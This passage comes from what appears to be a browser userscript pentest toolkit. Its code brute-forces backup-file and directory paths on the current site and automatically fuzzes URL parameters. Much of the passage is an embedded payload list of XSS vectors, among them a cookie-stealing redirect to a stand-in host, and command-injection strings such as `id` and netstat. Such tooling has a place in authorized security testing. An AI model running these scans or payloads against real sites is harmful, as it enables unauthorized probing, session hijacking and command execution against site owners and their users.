setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin_bak
while(s<end)
{
var url = cur_file_to_fuzz + "_" + backupexts[s];
timeout+=600;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin-bak
while(s<end)
{
var url = cur_file_to_fuzz + "-" + backupexts[s];
timeout+=700;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
//@style: admin.php.bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "." + backupexts[s];
timeout+=800;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin.php_bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "_" + backupexts[s];
timeout+=900;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//
//@style: admin.php-bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "-" + backupexts[s];
timeout+=1000;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeoutz=timeout;
var sz=0;
var endz =backupzexts.length;
//@style: admin.php.zip
while(sz<endz)
{
var url = cur_file_to_fuzz + cur_file_ext + backupzexts[sz];
timeoutz+=1100;
setTimeout("yehgBruteForceScan('"+url+"'," + sz + ","+ endz + ",'Job: Backup Files Scanning..')",timeoutz); timeoutz += 6000;
//self.setTimeout("window.stop()",timeoutz);
sz++;
}
// [/Current File Scan]return;
return;
/*Full Scan but not recommmended
for(var i=0;i<=document.getElementsByTagName("a").length-1;i++)
{
var thislink =document.getElementsByTagName("a")[i].href+"";
var thisext = "";
// Must not be in http://site.com/
// Must be http://site.com/abc.php
if(thislink.lastIndexOf("/")!=(thislink.length-1))
{
//Must be within the same domain
if(thislink.indexOf(yehg_url_scheme+document.domain)==0)
{
unsafeWindow.console.info("URL is : "+ thislink);
thisURIComponent = thislink.replace(thisURI,'');
unsafeWindow.console.log("URIComponent: "+thisURIComponent);
unsafeWindow.console.log("URIComponent Index: "+thisURIComponent.indexOf("?"));
if(thislink.lastIndexOf("?")!=-1)
{
thisext = thisURIComponent.substring(thisURIComponent.indexOf("."),thisURIComponent.indexOf("?"));
}
else
{
thisext = thisURIComponent.substring(thisURIComponent.indexOf("."),thisURIComponent.length);
}
thisfile = thisURI + thisURIComponent.substr(0,thisURIComponent.indexOf("."));
thisfilenameonly = thisURIComponent.substr(0,thisURIComponent.indexOf("."));
thisfiledir = thisfile.substr(0,thisfile.lastIndexOf("/")+1);
unsafeWindow.console.info("FUZZ FILE Type 1 "+ thisfile); // + .zip
//unsafeWindow.console.info("FUZZ FILE Type 2 "+ thisfile+thisext+".");// + .zip
//unsafeWindow.console.info("FUZZ FILE Type 3 "+ thisfile+thisext+"-");
//unsafeWindow.console.info("FUZZ FILE Type 4 "+ thisfiledir + "_"+thisfilenameonly+thisext);
//unsafeWindow.console.info("FUZZ FILE Type 5 "+ thisfiledir + "__"+thisfilenameonly+thisext);
//unsafeWindow.console.info("Extension Extracted: "+ thisext);
// Start Scanning Recursively
//@style: admin.bak
cur_file_to_fuzz = thisfile;
cur_file_ext = thisext;
var timeout=0;
var start = 0;
var s=0;
while(s<end)
{
var url = cur_file_to_fuzz + "." + backupexts[s];
timeout+=1000;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin_bak
while(s<end)
{
var url = cur_file_to_fuzz + "_" + backupexts[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin-bak
while(s<end)
{
var url = cur_file_to_fuzz + "-" + backupexts[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
//@style: admin.php.bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "." + backupexts[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin.php_bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "_" + backupexts[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeout=0;
var start = 0;
var s=0;
//@style: admin.php-bak
while(s<end)
{
var url = cur_file_to_fuzz + cur_file_ext + "-" + backupexts[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: Backup Files Scanning..')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);;
//self.setTimeout("window.stop()",timeout);
s++;
}
var timeoutz=0;
var sz=0;
var endz =backupzexts.length;
//@style: admin.php.zip
while(sz<endz)
{
var url = cur_file_to_fuzz + cur_file_ext + backupzexts[sz];
timeoutz+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + sz + ","+ endz + ",'Job: Backup Files Scanning..')",timeoutz); timeoutz += 6000;
//self.setTimeout("window.stop()",timeoutz);
sz++;
}
break;
}
}
}
}*/ // end of FULL SCAN
}
unsafeWindow.yehgCurBruteForceURL = "";
unsafeWindow.yehgLoadBruteForceStart = function()
{
unsafeWindow.yehgCurBruteForceURL = prompt("Enter URL Path to bruteforce.\n\ne.g.\n"+document.URL.toString().substr(0,document.URL.toString().lastIndexOf("/")+1)+"\n"+document.URL.toString().substr(0,document.URL.toString().lastIndexOf("/")+1)+"{FUZZ}/cmdjsp.jsp\t[Replace {FUZZ} with payload strings]\n",document.URL.toString().substr(0,document.URL.toString().lastIndexOf("/")+1));
if(unsafeWindow.yehgCurBruteForceURL == null || unsafeWindow.yehgCurBruteForceURL == "")return;
var s =document.getElementById('yehg_brute_force_select');
if(s.options[s.selectedIndex].value.indexOf("Select")==-1 && s.options[s.selectedIndex].value.indexOf("HeaderVerbsAbuse")==-1 && s.options[s.selectedIndex].value.indexOf("BackupFiles")==-1)
{
document.getElementById('brute_force_loading_img').innerHTML = "<br>Loading ...";
document.getElementById('brute_force_loading_img').style.display = '';
setTimeout("yehgLoadBruteForceFile()",1500);
unsafeWindow.yehgcurrentjob = "BruteForcing with " + s.options[s.selectedIndex].innerHTML;
}
else
{
alert("Select Bruteforce file!");
}
}
unsafeWindow.yehg_osvdb = '';
unsafeWindow.yehgViewBruteForceFile = function()
{
var s =document.getElementById('yehg_brute_force_select');
if(s.options[s.selectedIndex].value.indexOf("Select")==-1 && s.options[s.selectedIndex].value.indexOf("HeaderVerbsAbuse")==-1 && s.options[s.selectedIndex].value.indexOf("FileFormatEnum")==-1)
{
var wordbank_url = yehg_url+ '/lab/pr0js/pentest/wordlists/index.php?file='+s.options[s.selectedIndex].value; window.open(wordbank_url);
}
else
{
alert("Select Bruteforce file!");
}
}
unsafeWindow.yehgbruteforcestr = "";
unsafeWindow.yehgLoadBruteForceFile = function()
{
unsafeWindow.yehgbruteforcestr = new Array();
var s = document.getElementById('yehg_brute_force_select');
var wordbank_url = yehg_url+ '/lab/pr0js/pentest/wordlists/index.php?file='+s.options[s.selectedIndex].value; unsafeWindow.yehgbruteforcecurrent_file = s.options[s.selectedIndex].text;
var s = document.getElementById('yehg_brute_force_select');
var lid = s.options[s.selectedIndex].text;
if(!document.getElementById(lid))
{
var pgHead = document.getElementsByTagName("head").item(0);
var objJsFile = document.createElement("script");
objJsFile.setAttribute('type','text/javascript');
objJsFile.setAttribute('src', wordbank_url);
objJsFile.setAttribute('onload',"yehgBruteForceStart();");
objJsFile.setAttribute('onerror',"alert('File not found or Error in loading fie!')");
pgHead.appendChild(objJsFile);
}
else
{
//alert("Gonna use Cache" + document.getElementById(lid).value);
unsafeWindow.yehgbruteforcestr = document.getElementById(lid).value.toString().split(",");
unsafeWindow.yehgBruteForceStart();
//alert("Cache Content: " + unsafeWindow.yehgbruteforcestr);
}
}
unsafeWindow.yehgLoadBruteForceCacheFile = function(id,content)
{
// Cache contents in textarea
if(!document.getElementById(id))
{
var txta = unsafeWindow.document.createElement("textarea");
txta.setAttribute("id",id);
txta.setAttribute("style","display:none");
txta.value = content;
document.body.appendChild(txta);
return false;
}
else
{
return document.getElementById(id).value;
}
}
unsafeWindow.yehgbruteforcible = false;
unsafeWindow.yehgbruteforceresult = "";
unsafeWindow.yehgBruteForceStart = function()
{
var s = document.getElementById('yehg_brute_force_select');
var lid = s.options[s.selectedIndex].text;
if(!document.getElementById(lid))
{
unsafeWindow.yehgLoadBruteForceCacheFile(lid,unsafeWindow.yehgbruteforcestr);
//alert("cached!");
}
var bruteforcestr = unsafeWindow.yehgbruteforcestr;
document.getElementById('brute_force_loading_img').style.display = 'block';
curdir = unsafeWindow.yehgCurBruteForceURL;
var timeout=0;
var start = 0;
var s=0;
var end = bruteforcestr.length;
if(unsafeWindow.document.getElementById('brute_force_result').innerHTML.toString().indexOf("Results:")==-1)
{
document.getElementById('brute_force_result').innerHTML = "<br><strong>BruteForce Results:</strong><br>";
document.getElementById('brute_force_result').innerHTML += "<br>* " + unsafeWindow.yehgcurrentjob ;
}
else
{
document.getElementById('brute_force_result').innerHTML += "<br>* " + unsafeWindow.yehgcurrentjob ;
}
while(s<end)
{
if(curdir.indexOf("{FUZZ}") > -1)
var url = curdir.replace("{FUZZ}",bruteforcestr[s]);
else
var url = curdir + bruteforcestr[s];
timeout+=500;
setTimeout("yehgBruteForceScan('"+url+"'," + s + ","+ end + ",'Job: BruteForcing ...')",timeout);
timeout += parseInt(unsafeWindow.document.getElementById('yehgBruteTimeOut').value);
//self.setTimeout("window.stop()",timeout);
s++;
}
}
unsafeWindow.yehgBruteForceScan = function(url,s,e,job)
{
// s = start , e = end, job = job name
unsafeWindow.yehgWriteStatusLog(job,1);
document.getElementById('brute_force_loading_img').style.display = '';
document.getElementById('brute_force_loading_img').innerHTML = '<br>Scanning for -> ' + url+ " [" + (s+1) +" of " +e+"]";
xhr.setRequestHeader("Referer",document.location);
xhr.setRequestHeader("Cache-Control", "no-cache");
xhr.open("HEAD",url,false);
xhr.send(null);
var show404 = 0;
if(xhr.readyState==4)
{
if(xhr.status==200)
{
document.getElementById('brute_force_result').innerHTML += '<br>[<span style="color:#61B909">' + xhr.status + '</span>] <a target="_blank" style="color:yellow!important;text-decoration:underline;" href="' + url +'">' + url +'</a>';unsafeWindow.yehgbruteforcible = true;
window.scrollTo(0,window.scrollY+15);
//alert("Found->"+url);
}
else if(xhr.status==403)
{
document.getElementById('brute_force_result').innerHTML += '<br>[<span style="color:red">' + xhr.status + '</span>] <a target="_blank" style="color:yellow!important;text-decoration:underline;" href="' + url +'">' + url +'</a>';unsafeWindow.yehgbruteforcible = true;
window.scrollTo(0,window.scrollY+15);
}
else if(show404==1)
{
document.getElementById('brute_force_result').innerHTML += '<br>[<span style="color:#CCCCCC">' + xhr.status + '</span>] <span style="color:#878787!important;">' + url +'</span>';
window.scrollTo(0,document.getElementById('brute_force_result').offsetHeight+120);
}
}
if((s+1)==e)
{
document.getElementById('brute_force_loading_img').style.display = 'none';
unsafeWindow.yehgWriteStatusLog("Job: Done",1);
//alert("Done scanning!");
if(unsafeWindow.yehgbruteforcible == false)
{
//document.getElementById('brute_force_result').innerHTML += "<br>=> No results for " + unsafeWindow.yehgbruteforcecurrent_file +"<br>" ;
if(unsafeWindow.yehgcurrentjob!="")
{
document.getElementById('brute_force_result').innerHTML += "<br>=> No results for " + unsafeWindow.yehgcurrentjob +"<br>" ;
}
//reset for next rounds
unsafeWindow.yehgbruteforcible = false;
}
}
}
stat = "";
showstat = 0;
stat += '<br><span id="stat" style="font-weight:bold">[Stat]</span><br><br>';
stat += " Total Form: "+ document.getElementsByTagName("form").length+"<br>";
stat += " Total Link: "+ document.getElementsByTagName("a").length+"<br>";
if(document.getElementsByTagName("a").length>0 || document.getElementsByTagName("form").length >0)
{
showstat = 1;
}
if(showstat==1){printdata += stat;}
unsafeWindow.yehgFuzzingHelp = function()
{
alert("AutoFuzz KeyWords\n==========================\n\nFor XSS Test:\nvuln.php?str={XSS}\n" +
"\nAs for Insert function, Use {$}\nThis will replace {$} with desired inserted fuzz string.\nvuln.php?s1={$}&s2=v2&s3={$}&s4=v4&...etc\n"+
"\nFor SQL Injection Test:\nvuln.php?str={SQL}\n"+
"\nFor PathTraversal Test:\nvuln.php?str={TRA}\n"+
"\nFor Command Injection Test:\nvuln.php?str={CMD}\n"+
"\nFor Debug/Hidden Parameter Test:\nvuln.php?{DEBUG}\n"+
"\nOtherwise, for your custom index from-to\n\nDo this:\nvuln.php?str={FUZZ}&str2=12\n\nJust for only 1 parameter, you can\nvuln.php?str="+
"\n\nAdditional Options:\n\nvuln.php?str1={FUZZ}&str2={FUZZ}&str3=1&str4=valid\n\nYou can't use multiple keywords:\n\nvuln.php?str1={XSS}&str2={SQL}&str3=1&str4=valid[FALSE]\n\n ");
}
unsafeWindow.yehgSingleFuzz = function()
{
var fuzz_url = document.getElementById('fuzz_url').value;
var re = /{(FUZZ|XSS|SQL|TRA|CMD|DEBUG)}/gi;
if(fuzz_url.search(re)==-1)
{
window.open(fuzz_url);
}
else
{
unsafeWindow.yehgFuzzingStart();
}
}
unsafeWindow.yehgFuzzingStart = function()
{
var fuzz_url = document.getElementById('fuzz_url').value;
fuzz_url += '&yehg_content_length='+document.getElementById('yehg_content_length').value+
'&yehg_operator='+document.getElementById('length_operator').options[document.getElementById('length_operator').selectedIndex].value+
'&yehg_content_grep_criteria='+ document.getElementById('yehg_content_grep_criteria').options[document.getElementById('yehg_content_grep_criteria').selectedIndex].value +
'&yehg_grep='+ document.getElementById('yehg_grep').value ;
fuzz_url = fuzz_url.replace(/(^\s|\s$)/g,""); //must not contain white spaces inbetween
var timeout=0;
var start = document.getElementById('fzfrom').value;
var end = document.getElementById('fzto').value;
if(end<start){alert("Invalid Range!");return;}
if(fuzz_url.indexOf("?")==-1)
{
alert('There is nothing to fuzz.\nPlease insert parameter(s) to fuzz.\n\neg.\nvulnerable.php?str={XSS}\nvulnerable.php?str={SQLInject}\vulnerable.php?str={FUZZ}&str2=valid\nvulnerable.php?str={FUZZ}&str2={FUZZ}\n\nClick \'Help\' for more info.');
return;
}
if(fuzz_url.indexOf("{XSS}")>-1)
{
start = 1;
end = 38;
document.getElementById('fzfrom').value = start;
document.getElementById('fzto').value = end;
}
else if(fuzz_url.indexOf("{SQL}")>-1)
{
start = 326;
end = 428;
document.getElementById('fzfrom').value = start;
document.getElementById('fzto').value = end;
}
else if(fuzz_url.indexOf("{TRA}")>-1)
{
start = 98;
end = 169;
document.getElementById('fzfrom').value = start;
document.getElementById('fzto').value = end;
}
else if(fuzz_url.indexOf("{CMD}")>-1)
{
start = 73;
end = 92;
document.getElementById('fzfrom').value = start;
document.getElementById('fzto').value = end;
}
else if(fuzz_url.indexOf("{DEBUG}")>-1)
{
start = 468;
end = 506;
document.getElementById('fzfrom').value = start;
document.getElementById('fzto').value = end;
}
var s=start;
document.getElementById('fuzz_result').style.display = '';
document.getElementById('fuzz_result').innerHTML = '';
while(s<=end)
{
var re = /{(FUZZ|XSS|SQL|TRA|CMD|DEBUG)}/gi;
var payload = document.getElementById('fuzzdb').options[s].value;
payload = escape(payload);
var url = fuzz_url.replace(re,payload);
timeout+=500;
setTimeout("yehgOpenFuzzWindow('"+url+"'," + s + ","+ end + ")",timeout);
/*if(fuzz_url.indexOf("{DEBUG}")>-1)
setTimeout("yehgOpenFuzzWindow('"+url+"'," + s + ","+ end + ")",timeout);
else
setTimeout("yehgOpenFuzzWindow('"+encodeURIComponent(url)+"'," + s + ","+ end + ")",timeout);-*/
timeout += (document.getElementById('fztimer').value*1000);
self.setTimeout("window.stop()",timeout);
s++;
}
}
unsafeWindow.yehgWarnDisablePopupBlocker = 0;
/*unsafeWindow.onerror = function(a,b,c)
{
alert(a + "\n" + b + "\n" + c);
}*/
unsafeWindow.index = 0;
unsafeWindow.yehgOpenFuzzWindow = function(url,s,e)
{
unsafeWindow.yehgWriteStatusLog("Job: Fuzzing ...",1);
unsafeWindow.index = s;
document.getElementById('fuzz_result').innerHTML = '<br>Fuzzing Index No. '+ s+ ' of ' + e + '<br><br> Fuzzing URL -> ' + url+'<br><br>';
var u = window.open(decodeURIComponent(url));
if(u==null)
{
if(unsafeWindow.yehgWarnDisablePopupBlocker==0)
{
alert("Disable Popup blocker!\n\nType about:config in browser address bar.\nSet the value of:\n\ndom.popup_maximum\n\nto\n\n1000000000\n\nRestart your browser.\n");
unsafeWindow.yehgWarnDisablePopupBlocker=1;return;
}
}
if(s>=e){document.getElementById('fuzz_result').innerHTML = "Done Fuzzing!<br>Good Luck!";unsafeWindow.yehgWriteStatusLog("Job: Fuzzing Done!",1);}
}
unsafeWindow.yehgInsertFuzz = function()
{
var fuzzdb =document.getElementById('fuzzdb');
var fuzz_url = document.getElementById('fuzz_url').value;
if(fuzzdb.selectedIndex!=0 && (fuzzdb.options[fuzzdb.selectedIndex].value.search(/All\sXSS|RSnake/)==-1))
{
if(fuzz_url.indexOf("{$}"))
{
document.getElementById('fuzz_url').value = fuzz_url.replace(/{\$}/g, fuzzdb.options[fuzzdb.selectedIndex].value);
}
else
{
document.getElementById('fuzz_url').value += fuzzdb.options[fuzzdb.selectedIndex].value;
}
}
else
{
alert("Select a fuzz string!");
}
}
unsafeWindow.yehgPrepareFuzzUrl = function()
{
if(document.location.toString().indexOf("?") ==-1 && document.location.toString().indexOf("?") ==-1 && document.location.toString().indexOf("#") ==-1 )
{
return document.location + "?=";
}
else
{
return document.location;
}
}
unsafeWindow.yehgInvokeFuzz = function()
{
var fuzzopt =document.getElementById('fuzzopt');
fuzzopt = fuzzopt.options[fuzzopt.selectedIndex].value;
var fuzz_url = document.getElementById('fuzz_url').value;
document.getElementById('btnFuzz').disabled = "disabled";
switch(fuzzopt)
{
case "fuzz":unsafeWindow.yehgSingleFuzz();
break;
case "bakup":unsafeWindow.yehgBackupFileSearch();
break;
case "headercheck":window.open('http://yegh.net/lab/pr0js/pentest/header_options.php?host='+document.domain,'_blank','dependent=1');
break;
case "csrf":window.open('http://yegh.net/lab/pr0js/pentest/cross_site_request_forgery.php?url='+encodeURIComponent(fuzz_url),'_blank','dependent=1');
break;
case "cross_frame":window.open('http://yegh.net/lab/pr0js/pentest/cross_site_framing.php?url='+encodeURIComponent(fuzz_url),'_blank','dependent=1');
break;
}
setTimeout("document.getElementById('btnFuzz').disabled = ''",5000);
}
printdata += '<br><b>[Fuzz URL]</b><br>';
printdata += '<br><textarea cols="100" wrap="soft" style="font-family:arial;font-size:12px;word-wrap:break-word;" rows="4" id="fuzz_url">' + unsafeWindow.yehgPrepareFuzzUrl() + '</textarea><br><br>Select Fuzz Type: <select id="fuzzopt"><option value="fuzz">Fuzz [default]</option><option value="bakup">BackupFiles</option><option value="headercheck">HeaderCheck</option><option value="csrf">CSRF</option><option value="cross_frame">CS Framing</option></select> <input type="button" id="btnFuzz" value="Fuzz >>" onclick="yehgInvokeFuzz()"> <input type="button" value="Clear" onclick="document.getElementById(\'fuzz_url\').value=\'\';document.getElementById(\'fuzz_url\').focus();"> [<span style="cursor:pointer;color:yellow!important;" onclick="yehgFuzzingHelp()">Help</span>]<br>';
printdata += '<br><fieldset style="border:1px solid white;background-color:black!important;color:white!important;"><legend> Fuzz Options </legend>Fuzz Db: <select id="fuzzdb"><option>-- Check --</option>';
printdata += '<optgroup label="XSS"><option value="---!><!--">xxx<P>yyy">1) ---!><!--">xxx<P>yyy..</option><option value=""><script>"">2) "><script>"..</option><option value="};"></a></textarea></em></b></style></xmp></center></iframe></frameset></div></span></layer></label></noscript></noframe></embed></object></table></button></p></form></legend></fieldset></script></title></select></strong></code></h1></h2></h3></h4></h5></h6></font>"><script>alert(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))</script>//\n\n/**\n\n<!--\n\n">3) <script>..</script>..</option><option value="<<script>alert(0);//<</script>">4) <<script>..;//<<..</option><option value="<script>document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))</script>">5) <script>..</script>..</option><option value="'><script>document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))</script>">6) '><script>..<..</option><option value=""><script>document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));</script>">7) "><script>..;</script>..</option><option value="\\";document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));//">8) \\";..;//..</option><option value="%3cscript%3edocument.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));%3c/script%3e">9) %3cscript%3e..;%3c/script%3e..</option><option value="%3cscript%3edocument.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));%3c%2fscript%3e">10) %3cscript%3e..;%3c%2fscript%3e..</option><option value="%3Cscript%3Edocument.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))%3C/script%3E">11) %3Cscript%3E..;%3C/script%3E..</option><option value="&ltscript&gtdocument.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));</script>">12) &ltscript&gt..;</sc..</option><option value="&ltscript&gtdocument.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33));&ltscript&gtalert">13) &ltscript&gt..;&lt..</option><option value="<xss><script>alert('XSS')</script></vulnerable>">14) <xss><script>alert('XSS')<..</option><option value="<IMG%20SRC='javascript:document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))'>">15) <IMG%20SRC='javascript:..</option><option value="<IMG SRC="javascript:alert('XSS');">">16) <IMG SRC="javascript:alert('XSS'..</option><option value="<IMG SRC="javascript:alert('XSS')"">17) <IMG SRC="javascript:alert('XSS'..</option><option value="<IMG SRC=javascript:alert('XSS')>">18) <IMG SRC=javascript:alert('XSS')>..</option><option value="<IMG SRC=JaVaScRiPt:alert('XSS')>">19) <IMG SRC=JaVaScRiPt:alert('XSS')>..</option><option value="<IMG SRC=javascript:alert(&quot;XSS&quot;)>">20) <IMG SRC=javascript:alert(&quot;XSS&quo..</option><option value="<IMG SRC=`javascript:alert("'XSS'")`>">21) <IMG SRC=`javascript:alert("'XSS'..</option><option value="<IMG """><SCRIPT>alert("XSS")</SCRIPT>">">22) <IMG """><SCRIPT>alert(..</option><option value="<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>">23) <IMG SRC=javascript:alert(String.fromCharCode(8..</option><option value="<IMG%20SRC='javasc ript:document.write(String.fromCharCode(86,117,108,110,101,114,97,98,108,101,32,116,111,32,88,83,83,33,32,84,114,117,115,116,32,109,101,33))'>">24) <IMG%20SRC='javasc ript:..</option><option value="<IMG SRC="jav ascript:alert('XSS');">">25) <IMG SRC="jav ascript:alert('XSS'..</option><option value="<IMG SRC="jav&#x09;ascript:alert('XSS');">">26) <IMG SRC="jav&#x09;ascript:alert('..</option><option value="<IMG SRC="jav&#x0A;ascript:alert('XSS');">">27) <IMG SRC="jav&#x0A;ascript:alert('..</option><option value="<IMG SRC="jav&#x0D;ascript:alert('XSS');">">28) <IMG SRC="jav&#x0D;ascript:alert('..</option><option value="<IMG SRC=" &#14; javascript:alert('XSS');">">29) <IMG SRC=" &#14; javascript:alert(�..</option><option value="<IMG DYNSRC="javascript:alert('XSS')">">30) <IMG DYNSRC="javascript:alert('XSS�..</option><option value="<IMG LOWSRC="javascript:alert('XSS')">">31) <IMG LOWSRC="javascript:alert('XSS�..</option><option value="<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'>">32) <IMG%20SRC='%26%23x6a;avasc%26%23000010rip..</option><option value="<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>">33) <IMG SRC=&#106;&#97;&#118;&#97;..</option><option value="<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>">34) <IMG SRC=&#0000106&#0000097&#000011..</option><option value="<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>">35) <IMG SRC=&#x6A&#x61&#x76&#x61&a..</option><option value="'%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E">36) '%3CIFRAME%20SRC=javascript:alert(%2527XSS%25..</option><option value="%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E">37) %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A..</option><option value="';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}">38) ';alert(String.fromCharCode(88,83,83))//\\�..</option><option value="'';!--"<XSS>=&{()}">39) '';!--"<XSS>=&{()}..</option></optgroup><option value="A">40) A..</option><option value="TRUE">41) TRUE..</option><option value="FALSE">42) FALSE..</option><option value="0">43) 0..</option><option value="00">44) 00..</option><option value="1">45) 1..</option><option value="-1">46) -1..</option><option value="1.0">47) 1.0..</option><option value="-1.0">48) -1.0..</option><option value="2">49) 2..</option><option value="-2">50) -2..</option><option value="-20">51) -20..</option><option value="65536">52) 65536..</option><option value="268435455">53) 268435455..</option><option value="-268435455">54) -268435455..</option><option value="2147483647">55) 2147483647..</option><option value="0xfffffff">56) 0xfffffff..</option><option value="NULL">57) NULL..</option><option value="null">58) null..</option><option value="\\0">59) \\0..</option><option value="\\00">60) \\00..</option><option value="< script > < / script>">61) < script > < / script>..</option><option value="%0a">62) %0a..</option><option value="%00">63) %00..</option><option value="+%00">64) +%00..</option><option value="\\0">65) \\0..</option><option value="\\0\\0">66) \\0\\0..</option><option value="\\0\\0\\0">67) \\0\\0\\0..</option><option value="\\00">68) \\00..</option><option value="\\00\\00">69) \\00\\00..</option><option value="\\00\\00\\00">70) \\00\\00\\00..</option><option value="$null">71) $null..</option><option value="$NULL">72) $NULL..</option><optgroup label="Command Injection"><option value="`id`">73) `id`..</option><option value="`dir`">74) `dir`..</option><option value=";id;">75) ;id;..</option><option value=";read;">76) ;read;..</option><option value=";netstat -a;">77) ;netstat -a;..</option><option value="\\nnetstat -a%\\n">78) \\nnetstat -a%\\n..</option><option value="\\"blah">79) \\"blah..</option><option value="|id|">80) |id|..</option><option value="&quot;;id&quot;">81) &quot;;id&quot;..</option><option value="id%00">82) id%00..</option><option value="id%00|">83) id%00|..</option><option value="|id">84) |id..</option><option value="|dir">85) |dir..</option><option value="|dir|">86) |dir|..</option><option value="|ls">87) |ls..</option><option value="|ls -la">88) |ls -la..</option><option 